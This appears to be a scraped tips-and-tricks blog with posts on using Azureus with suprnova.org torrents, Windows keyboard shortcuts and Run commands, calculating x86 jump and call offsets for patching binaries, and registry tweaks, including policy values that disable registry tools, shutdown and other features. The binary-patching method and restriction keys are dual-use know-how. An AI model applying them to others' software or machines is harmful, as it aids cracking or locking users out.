Before you use the plug-in, take a look at /http://www.suprnova.org, and browse the files. Hold your mouse over the links, and you'll notice every file ends in .torrent. This is the BT file extension. Usually, .torrent files are very small, under 200kb. They contain a wealth of information about the file you want to download. A .torrent file can contain just 1 single file, or a a directory full of files and more directories. But regardless, every download is split up into hundreds or thousands of pieces. The pieces make it much easier to download at higher speeds. Back to suprnova.org. Look at the columns:

Added | Name | Filesize | Seeds | DLs (and a few more which aren't very useful.)

I'll break this down.
Added: Self explanitory, its the date the torrent was added.
Name: Also self explanitory.
Filesize: Duh
Seeds: This is how many people are strictly UPLOADING, or sharing. These people are the ones that keep .torrent files alive. By "alive", I mean, if there's no one sharing the .torrent file, no one can download.
DLs: This is how many people currently downloading that particular torrent. They also help keep the torrent alive as they share while they download.

It's always best to download using a torrent that has a decent amount of seeders and downloaders, this way you can be assured there's a good chance your download will finish. The more the better.

Now that you should understand how torrent files work, and how to use them, on to Azureus!
First, get JAVA! You need this to run Azureus, as java is what powers it. Get Java here: /http://java.sun.com/j2se/1.4.2/download.html
Next, get Azureus at: /http://azureus.sourceforge.net
Next, get the Suprnovalister plugin from /http://s93732957.onlinehome.us/storage/suprnovalister.jar

Install Java JRE before you do ANYTHING.

Install Azureus, and then in the installation folder, create 2 more folders. ./Plugins/suprnovalister (For example, if you installed Azureus to C:\PROGRAM FILES\AZUREUS, create C:\PROGRAM FILES\AZUREUS\PLUGINS\SUPRNOVALISTER). Next, put the suprnovalister.jar file that you downloaded, in that folder.

Load up Azureus, and if you want, go through the settings and personalize it.

The tab labeled "My Torrents" is the section of Azureus you need the most often. That lists all your transfers, uploads and downloads. It shows every bit of information you could possibly want to know about torrents you download.

In the menu bar, go to View > Plugins > Suprnova Lister. This will open up a new tab in Azureus. Click on "Update Mirror". This will get a mirror site of suprnova.org containing all current torrent files available. Once a mirror is grabbed, choose a category from the drop-down box to the left and click "Update". Wah-lah, all the available downloads appear in the main chart above. Just double click a download you want, and bang its starting to download. Open the "My Torrents" tab again to view and make sure your download started.

After your download has finished, be nice, and leave the torrent transferring. So people can get pieces of the file from you, just as you got pieces from other people.

Alternatively, if you don't want to use the plugin... you can just head to suprnova.org and download files to any folder. Then go to File > Open > .torrent File in Azureus.

This should about wrap it up for the Bit Torrent Tutorial. If you guys think of anything I should add, or whatnot, just let me know and I'll check into it.

2010-11-25T00:37:00.000-08:00

Best Keyboard Shortcuts
Getting used to using your keyboard exclusively and leaving your mouse behind will make you much more efficient at performing any task on any Windows system. I use the following keyboard shortcuts every day:

Windows key + R = Run menu

This is usually followed by:
cmd = Command Prompt
iexplore + "web address" = Internet Explorer
compmgmt.msc = Computer Management
dhcpmgmt.msc = DHCP Management
dnsmgmt.msc = DNS Management
services.msc = Services
eventvwr = Event Viewer
dsa.msc = Active Directory Users and Computers
dssite.msc = Active Directory Sites and Services
Windows key + E = Explorer

ALT + Tab = Switch between windows

ALT, Space, X = Maximize window

CTRL + Shift + Esc = Task Manager

Windows key + Break = System properties

Windows key + F = Search

Windows key + D = Hide/Display all windows

CTRL + C = copy

CTRL + X = cut

CTRL + V = paste

Also don't forget about the "Right-click" key next to the right Windows key on your keyboard.
Using the arrows and that key can get just about anything done once you've opened up any
program.

Keyboard Shortcuts

[Alt] and [Esc] Switch between running applications

[Alt] and letter Select menu item by underlined letter

[Ctrl] and [Esc] Open Program Menu

[Ctrl] and [F4] Close active document or group windows (does not work with some applications)

[Alt] and [F4] Quit active application or close current window

[Alt] and [-] Open Control menu for active document

Ctrl] Lft., Rt. arrow Move cursor forward or back one word

Ctrl] Up, Down arrow Move cursor forward or back one paragraph

[F1] Open Help for active application

Windows+M Minimize all open windows

Shift+Windows+M Undo minimize all open windows

Windows+F1 Open Windows Help

Windows+Tab Cycle through the Taskbar buttons

Windows+Break Open the System Properties dialog box

acessability shortcuts

Right SHIFT for eight seconds........ Switch FilterKeys on and off.

Left ALT +left SHIFT +PRINT SCREEN....... Switch High Contrast on and off.

Left ALT +left SHIFT +NUM LOCK....... Switch MouseKeys on and off.

SHIFT....... five times Switch StickyKeys on and off.

NUM LOCK...... for five seconds Switch ToggleKeys on and off.

explorer shortcuts

END....... Display the bottom of the active window.

HOME....... Display the top of the active window.

NUM LOCK+ASTERISK....... on numeric keypad (*) Display all subfolders under the selected folder.

NUM LOCK+PLUS SIGN....... on numeric keypad (+) Display the contents of the selected folder.

NUM LOCK+MINUS SIGN....... on numeric keypad (-) Collapse the selected folder.

LEFT ARROW...... Collapse current selection if it's expanded, or select parent folder.

RIGHT ARROW....... Display current selection if it's collapsed, or select first subfolder.

Type the following commands in your Run Box (Windows Key + R) or Start Run

devmgmt.msc = Device Manager
msinfo32 = System Information
cleanmgr = Disk Cleanup
ntbackup = Backup or Restore Wizard (Windows Backup Utility)
mmc = Microsoft Management Console
excel = Microsoft Excel (If Installed)
msaccess = Microsoft Access (If Installed)
powerpnt = Microsoft PowerPoint (If Installed)
winword = Microsoft Word (If Installed)
frontpg = Microsoft FrontPage (If Installed)
notepad = Notepad
wordpad = WordPad
calc = Calculator
msmsgs = Windows Messenger
mspaint = Microsoft Paint
wmplayer = Windows Media Player
rstrui = System Restore
netscp6 = Netscape 6.x
netscp = Netscape 7.x
netscape = Netscape 4.x
waol = America Online
control = Opens the Control Panel
control printers = Opens the Printers Dialog

internetbrowser

type in u're adress "google", then press [Right CTRL] and [Enter]
add www. and .com to word and go to it

For Windows XP:

Copy. CTRL+C
Cut. CTRL+X
Paste. CTRL+V
Undo. CTRL+Z
Delete. DELETE
Delete selected item permanently without placing the item in the Recycle Bin. SHIFT+DELETE
Copy selected item. CTRL while dragging an item
Create shortcut to selected item. CTRL+SHIFT while dragging an item
Rename selected item. F2
Move the insertion point to the beginning of the next word. CTRL+RIGHT ARROW
Move the insertion point to the beginning of the previous word. CTRL+LEFT ARROW
Move the insertion point to the beginning of the next paragraph. CTRL+DOWN ARROW
Move the insertion point to the beginning of the previous paragraph. CTRL+UP ARROW
Highlight a block of text. CTRL+SHIFT with any of the arrow keys
Select more than one item in a window or on the desktop, or select text within a document. SHIFT with any of the arrow keys
Select all. CTRL+A
Search for a file or folder. F3
View properties for the selected item. ALT+ENTER
Close the active item, or quit the active program. ALT+F4
Opens the shortcut menu for the active window. ALT+SPACEBAR
Close the active document in programs that allow you to have multiple documents open simultaneously. CTRL+F4
Switch between open items. ALT+TAB
Cycle through items in the order they were opened. ALT+ESC
Cycle through screen elements in a window or on the desktop. F6
Display the Address bar list in My Computer or Windows Explorer. F4
Display the shortcut menu for the selected item. SHIFT+F10
Display the System menu for the active window. ALT+SPACEBAR
Display the Start menu. CTRL+ESC
Display the corresponding menu. ALT+Underlined letter in a menu name
Carry out the corresponding command. Underlined letter in a command name on an open menu
Activate the menu bar in the active program. F10
Open the next menu to the right, or open a submenu. RIGHT ARROW
Open the next menu to the left, or close a submenu. LEFT ARROW
Refresh the active window. F5
View the folder one level up in My Computer or Windows Explorer. BACKSPACE
Cancel the current task. ESC
SHIFT when you insert a CD into the CD-ROM drive Prevent the CD from automatically playing.

Use these keyboard shortcuts for dialog boxes:

To Press
Move forward through tabs. CTRL+TAB
Move backward through tabs. CTRL+SHIFT+TAB
Move forward through options. TAB
Move backward through options. SHIFT+TAB
Carry out the corresponding command or select the corresponding option. ALT+Underlined letter
Carry out the command for the active option or button. ENTER
Select or clear the check box if the active option is a check box. SPACEBAR
Select a button if the active option is a group of option buttons. Arrow keys
Display Help. F1
Display the items in the active list. F4
Open a folder one level up if a folder is selected in the Save As or Open dialog box. BACKSPACE

If you have a Microsoft Natural Keyboard, or any other compatible keyboard that includes the Windows logo key and the Application key , you can use these keyboard shortcuts:

Display or hide the Start menu. WIN Key
Display the System Properties dialog box. WIN Key+BREAK
Show the desktop. WIN Key+D
Minimize all windows. WIN Key+M
Restores minimized windows. WIN Key+Shift+M
Open My Computer. WIN Key+E
Search for a file or folder. WIN Key+F
Search for computers. CTRL+WIN Key+F
Display Windows Help. WIN Key+F1
Lock your computer if you are connected to a network domain, or switch users if you are not connected to a network domain. WIN Key+ L
Open the Run dialog box. WIN Key+R
Open Utility Manager. WIN Key+U

accessibility keyboard shortcuts:

Switch FilterKeys on and off. Right SHIFT for eight seconds
Switch High Contrast on and off. Left ALT+left SHIFT+PRINT SCREEN
Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
Switch StickyKeys on and off. SHIFT five times
Switch ToggleKeys on and off. NUM LOCK for five seconds
Open Utility Manager. WIN Key+U

shortcuts you can use with Windows Explorer:

Display the bottom of the active window. END
Display the top of the active window. HOME
Display all subfolders under the selected folder. NUM LOCK+ASTERISK on numeric keypad (*)
Display the contents of the selected folder. NUM LOCK+PLUS SIGN on numeric keypad (+)
Collapse the selected folder. NUM LOCK+MINUS SIGN on numeric keypad (-)
Collapse current selection if it's expanded, or select parent folder. LEFT ARROW
Display current selection if it's collapsed, or select first subfolder. RIGHT ARROW

2010-11-25T00:36:00.000-08:00

Calculating Offsets
Introduction

This tutorial is more of a tip than a tutorial. It just explains how to calculate offsets for jumps and calls within the program you are patching.

Types of Jumps/Calls

Here I will just describe the different types of jumps and calls which you will come across:

Short Jumps
Short jumps be they conditional or unconditional jumps are 2 bytes long (or 1 nibble if your Californian ;-). These are relative jumps taken from the first byte after the two bytes of the jump. Using short jumps you can jump a maximum of 127 bytes forward and 128 bytes backwards.

Long Jumps
Long jumps if they are relative are 6 bytes long for conditional jumps and are 5 bytes long for unconditional jumps. For conditional jumps 2 bytes are used to identify that it is a long jump and what type of jump (je, jg, jns etc) it is. The other 4 bytes are used to show how far away the target location is relative to the first byte after the jump. In an unconditional jump only 1 byte is used to identify it as a long unconditional jump and the other 4 are used to show it's target's relative position, as with the conditional jumps.

Calls
There are two different types of calls which we will use. The normal type of call works the same as the long jumps in that it is relative to it's current position. The other type gives a reference to a memory location, register or stack position which holds the memory location it will call. The position held by the later is direct e.g. the memory location referenced may contain 401036h which would be the exact position that you would call, not relative to the position of the call. The size of these types of calls depends on any calculations involved in the call i.e. you could do: 'call dword ptr [eax * edx + 2]'. Long jumps can also be made using this method, but I didn't say that earlier as to avoid repetition.

Tables
Here is a brief list of all the different types of jumps/calls and their appropriate op-codes. Where different jumps have the same Op-Codes I have grouped them:

Jump Description Short Op-Code Long Op-Code
call procedure call E8xxxxxxxx N/A
jmp u nconditional jump EBxx E9xxxxxxxx
ja/jnbe jump if above 77xx 0F87xxxxxxxx
jae/jnb/jnc jump if above or equal 73xx 0F83xxxxxxxx
jb/jc/jnae jump if below 72xx 0F82xxxxxxxx
jbe/jna jump if below or equal 76xx 0F86xxxxxxxx
jcxz/jecxz jump if cx/ecx equals zero E3xx N/A
je/jz jump if equal/zero 74xx 0F84xxxxxxxx
jne/jnz jump if not equal/zero 75xx 0F85xxxxxxxx
jg/jnle jump if greater 7Fxx 0F8Fxxxxxxxx
jge/jnl jump if greater or equal 7Dxx 0F8Dxxxxxxxx
jl/jnge jump if less 7Cxx 0F8Cxxxxxxxx
jle/jng jump if less or equal 7Exx 0F8Exxxxxxxx
jno jump if not overflow 71xx 0F81xxxxxxxx
jnp/jpo jump if no parity/parity odd 7Bxx 0F8Bxxxxxxxx
jns jump if not signed 79xx 0F89xxxxxxxx
jo jump if overflow 70xx 0F80xxxxxxxx
jp/jpe jump if parity/parity even 7Axx 0F8Axxxxxxxx
js jump if sign 78xx 0F88xxxxxxxx

Calculating Offsets (finding in the xx's in table)

You will need to be able to calculate offsets when you add jumps and make calls within and to the code you have added. If you choose to do this by hand instead of using a tool then here are the basics:

For jumps and calls further on in memory from your current position you take the address where you want to jump/call and subtract from it the memory location of the next instruction after your call/jump i.e.:

(target mem address) - (mem location of next instruction after call/jump)

Example
If we wanted to jump to 4020d0 and the next instruction *after* the jump is at location 401093 then we would use the following calculation:

4020d0 - 401093 = 103d

We then write the jump instruction in hex as e93d100000 where e9 is the hex op-code for a long relative jump and 3d100000 is the result of our calculation expanded to dword size and reversed.

For jumps and calls to locations *before* the current location in memory you take the address you want to call/jump to and subtract it from the memory location of the next instruction after your call/jump, then subtract 1 and finally perform a logical NOT on the result i.e.

NOT(mem address of next instruction - target mem address - 1)

Example
If we wanted to call location 401184 and the address of the next instruction after the call is 402190 then we do the following calculation:

NOT(402190 - 401184 - 1 ) = ffffeff4

We can then write our call instruction in hex as e8f4efffff where e8 is the hex op-code for relative call and f4efffff is the result of the calculation in reverse order.

If you want to practice with different examples then the best way to do this is to use a disassembler like WDASM which shows you the op-codes and try and work out the results yourself. Also as an end note you don't have to perform these calculations if you have enough room to make your jump or call instruction into an absolute jump call by doing the following as represented in assembler:

mov eax, 4020d0
call eax (or jmp eax)

Final Notes

Make life easier and use a program to do this ;-)

2009-07-07T10:37:00.002-07:00

Changing the Location of Windows' Installation Files

If you need to change the drive and or path where Windows looks for its installation files:
1.Open RegEdit
2.Go to
HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Setup
3.Edit the value next to SourcePath
Creating a Logon Banner
If you want to create a Logon Banner: A message box to appear below your logon on.
1.Open RegEdit
2.Go To
For Windows 9x and ME -
HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Winlogon
For Windows 2000 XP 2003 Vista -
HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Winlogon

3.Create a new String value"LegalNoticeCaption "
4. Enter the Title of the window. What is displayed in the Title Bar.
5. Create a new string value "LegalNoticeText"
6. Enter the text for your message box that will appear even before the Logon window.
Creating a Default File Opener
If you have a un-registered file type and want to view it instead of having to select Open With. Use Explorer's Right-click and add your program to the right-click options by:
1. Open RegEdit
2. Go to HKEY_CLASSES_ROOT\Unknown\Shell
3. Right click on "Shell" and create a New Key and name it "Open "
4. Create a New Key under the "Open" key you just created and name it "Command"
5. Set the (Default) value to the path and filename of the program you want to use to open the file type
6. For example: C:\Windows\NOTEPAD.EXE %1
You must use the "%1" for this to work.and a space between the exe and the %1
Deleting Registry Keys from the Command Line
There are two ways to delete a key from the Registry from the Command line. At the Windows Command line:
RegEdit /l location of System.dat /R location of User.dat /D Registry key to delete
You cannot be in Windows at the time you use this switch.
Or you can create a reg file as such:
REGEDIT4
[-HKEY_LOCAL_MACHINE\the key you want to delete]
Note the negative sign just behind the[
Then at the Command line type:
1. RegEdit C:\Windows\(name of the regfile).
Change/Add Restrictions And Features
If you want to make restrictions to what users can do or use on their computer without having to run Poledit, you can edit the Registry. You can add and delete Windows features in this Key shown below.
Zero is Off and the value 1 is On. Example: to Save Windows settings add or modify the value name NoSaveSettings to 0, if set to1 Windows will not save settings. And NoDeletePrinter set to 1 will prevent the user from deleting a printer.
The same key shows up at:
HKEY_USERS\(yourprofilename)\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer so change it there also if you are using different profiles.
1.Open RegEdit
2.Go to
HKEY_CURRENT_USER\Software\Microsoft\ CurrentVersion\ Policies
3.Go to the Explorer Key (Additional keys that can be created under Policies are System, Explorer, Network and WinOldApp )
4.You can then add DWORD or binary values set to 1 in the appropriate keys for ON and 0 for off.
NoDeletePrinter - Disables Deletion of Printers
NoAddPrinter - Disables Addition of Printers
NoRun - Disables Run Command
NoSetFolders - Removes Folders from Settings on Start Menu
NoSetTaskbar - Removes Taskbar from Settings on Start Menu
NoFind - Removes the Find Command
NoDrives - Hides Drives in My Computers
NoNetHood - Hides the Network Neighborhood
NoDesktop - Hides all icons on the Desktop
NoClose - Disables Shutdown
NoSaveSettings - Don't save settings on exit
DisableRegistryTools - Disable Registry Editing Tools
NoRecentDocsMenu - Hides the Documents shortcut at the Start button
NoRecentDocsHistory- Clears history of Documents
NoFileMenu _ Hides the Files Menu in Explorer
NoActiveDesktop - No Active Desktop
NoActiveDesktopChanges- No changes allowed
NoInternetIcon - No Internet Explorer Icon on the Desktop
NoFavoritesMenu - Hides the Favorites menu
NoChangeStartMenu _ Disables changes to the Start Menu
NoFolderOptions _ Hides the Folder Options in the Explorer
ClearRecentDocsOnExit - Empty the recent Docs folder on reboot
NoLogoff - Hides the Log Off .... in the Start Menu
And here are a few more you can play with
ShowInfoTip
NoTrayContextMenu
NoStartMenuSubFolders
NoWindowsUpdate
NoViewContextMenu
EnforceShellExtensionSecurity
LinkResolveIgnoreLinkInfo
NoDriveTypeAutoRun
NoStartBanner
NoSetActiveDesktop
EditLevel
NoNetConnectDisconnect
RestrictRun - Disables all exe programs except those listed in the RestrictRun subkey
This key has many other available keys, there is one to even hide the taskbar, one to hide the control panel and more. I'm not telling you how, as someone may want to play a trick on you. The policies key has a great deal of control over how and what program can run and how one can access what feature.
In the System key you can enter:
NoDispCPL - Disable Display Control Panel
NoDispBackgroundPage - Hide Background Page
NoDispScrSavPage - Hide Screen Saver Page
NoDispAppearancePage - Hide Appearance Page
NoDispSettingsPage - Hide Settings Page
NoSecCPL - Disable Password Control Panel
NoPwdPage - Hide Password Change Page
NoAdminPage - Hide Remote Administration Page
NoProfilePage - Hide User Profiles Page
NoDevMgrPage - Hide Device Manager Page
NoConfigPage - Hide Hardware Profiles Page
NoFileSysPage - Hide File System Button
NoVirtMemPage - Hide Virtual Memory Button
In the Network key you can enter:
NoNetSetup - Disable the Network Control Panel
NoNetSetupIDPage - Hide Identification Page
NoNetSetupSecurityPage - Hide Access Control Page
NoFileSharingControl - Disable File Sharing Controls
NoPrintSharing - Disable Print Sharing Controls
In the WinOldApp key you can enter:
Disabled - Disable MS-DOS Prompt
NoRealMode - Disables Single-Mode MS-DOS

2009-07-07T10:37:00.001-07:00

Add/Remove Sound Events from Control Panel

You can Add and delete sounds events in the Control Panel. In order to do that:
1. Open RegEdit
2. Go to HKEY_CURRENT_USER\AppEvents\Schemes\Apps and HKEY_CURRENT_USER\AppEvents\Schemes\Eventlabels. If this key does not exist you can create it and add events.
3. You can add/delete any items you want to or delete the ones you no longer want.
Adding an Application to the Right Click on Every Folder
Here is how to add any application to the Context Menu when you right click on any Folder. This way you do not have to always go to the Start Menu. When you right click on any folder, you can have access to that application, the same as using Sent To.
1. Open RegEdit
2. Go to HKEY_CLASSES_ROOT\Folder\shell
3. Add a new Key to the "Shell" Key and name it anything you like.
4. Give it a default value that will appear when you right click a folder, i.e. NewKey (use an "&" without the quotes, in front of any character and it will allow you to use the keyboard)
5. Click on the Key HKEY_CLASSES_ROOT\Folder\shell\NewKey
6. Add a New Key named Command
7. Set the (Default) value of the application you want to run
8. For example: c:\program files\internet explorer\iexplore.exe (Include the full path and parameters if you need them)

Adding Explore From Here to Every Folder
When you want to right click on any folder and want to open up an Explorer window of that folder.
1. Open RegEdit
2. Go to HKEY_CLASSES_ROOT\Folder\shell
3. Add a new Key "RootExplore " under the "Shell" Key
4. Set the (Default) value to "E&xplore From Here "
5. Right Click the "RootExplore " Key and add a new Key "Command"to the RootExplore
6. Set the (Default) value of Explorer.exe /e,/root,/idlist,%i

2009-07-07T10:36:00.001-07:00

Change Default Folder Locations
You can change or delete the Windows mandatory locations of folder like My Documents:
1. Open RegEdit
2. Go to HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Shell Folders
3. Change the desired folder location, My Documents is normally list as "Personal"
4. Open the Explorer and rename or create the folder you wish.
To change the desired location of the Program Files folder
1. Go to
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
2. Change the value of "ProgramFiles", or "ProgramFilesDir"
Now when you install a new program it will default to the new location you have selected.

Amazing TIPS & TRICKS

Amazing TIPS & TRICKS

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